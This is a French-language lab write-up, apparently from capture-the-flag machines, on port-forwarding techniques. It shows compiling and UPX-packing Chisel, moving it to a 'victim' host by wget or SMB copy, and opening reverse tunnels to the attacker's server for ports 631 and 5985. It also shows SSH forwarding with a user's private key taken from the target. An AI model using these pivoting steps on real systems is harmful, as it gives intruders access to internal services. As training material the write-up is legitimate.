# Port Forwarding Techniques

{% hint style="info" %}
**Port forwarding** (redirection de port) est une technique réseau qui permet de rediriger les connexions d’un port spécifique d’une machine vers une autre machine ou un autre port. Cela est souvent utilisé pour accéder à des services internes depuis l'extérieur, en traversant des pare-feux ou des routeurs.
{% endhint %}

<pre class="language-bash"><code class="lang-bash">netstat -tuln
<strong>netstat -ano | findstr LISTENING
</strong></code></pre>

## Chisel:

### Linux

Nous avons d'abord compilé Chisel sur notre machine locale :

{% embed url="<https://github.com/jpillora/chisel>" %}

```bash
git clone https://github.com/jpillora/chisel
```

```bash
go build -ldflags "-s -w" .
upx chisel
```

Ensuite, nous avons transféré l'exécutable Chisel vers la machine victime via un serveur HTTP Python3&#x20;

```bash
python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2Fwz16e1LtliOuYksvaOpd%2Fimage.png?alt=media&#x26;token=8b423949-8074-4f0e-a7c8-814fd36ed781" alt=""><figcaption></figcaption></figure>

Sur notre machine, nous avons démarré le serveur Chisel :

<pre class="language-bash"><code class="lang-bash"><strong>./chisel server -p 8888 -reverse
</strong></code></pre>

Puis, sur la machine victime, nous avons configuré le client Chisel pour rediriger le port 631 vers notre machine locale :

```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FmmXW2RhJ8jiXGXLGCAIW%2F%7B78AE4EC8-73DD-4E47-A1AE-8ED8C621C126%7D.png?alt=media&#x26;token=b6c2d168-8627-4b2a-bfa8-857a1274fe4f" alt="" width="563"><figcaption></figcaption></figure>

### Windows

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**Téléchargement et préparation des fichiers :**\
Nous avons téléchargé les fichiers **Chisel** compressés, à savoir :

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

Après les avoir extraits, nous avons transféré le fichier **Chisel** pour Windows vers la machine cible :

```bash
copy \\10.10.14.3\smb\chisel-windows.exe chisel-windows.exe
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2F7bgCjc144SJGHy9N9Hsi%2Fimage.png?alt=media&#x26;token=7e26ce62-876e-408a-90ea-0aed65bc4537" alt=""><figcaption></figcaption></figure>

**Mise en écoute sur la machine attaquante avec Chisel :**\
Nous avons lancé **Chisel** en mode serveur sur la machine attaquante sur le port 8888 :

```bash
./chisel-linux server -p 8888 -reverse
```

Ensuite, sur la machine Windows cible, nous avons exécuté **Chisel** en mode client pour nous connecter à notre machine attaquante et rediriger le port 5985 vers notre machine :

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FAJA2bf7uL9XUUSkHoWNe%2F%7B67FDA5FA-CB70-4448-A6D8-C4DFFDA14342%7D.png?alt=media&#x26;token=198fc08e-36c7-4eb8-a389-126b294b4620" alt=""><figcaption></figcaption></figure>

## SSH:

Nous redirigeons les ports internes vers notre machine d'attaque en utilisant la clé privée de l'utilisateur et en appliquant les bonnes permissions :

```bash
chmod 600 id_rsa
```

```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FcCaGeIryUqPUKcBEcaOp%2Fimage.png?alt=media&#x26;token=e067c21f-28fc-4924-97f1-6d87c7d32028" alt=""><figcaption></figcaption></figure>
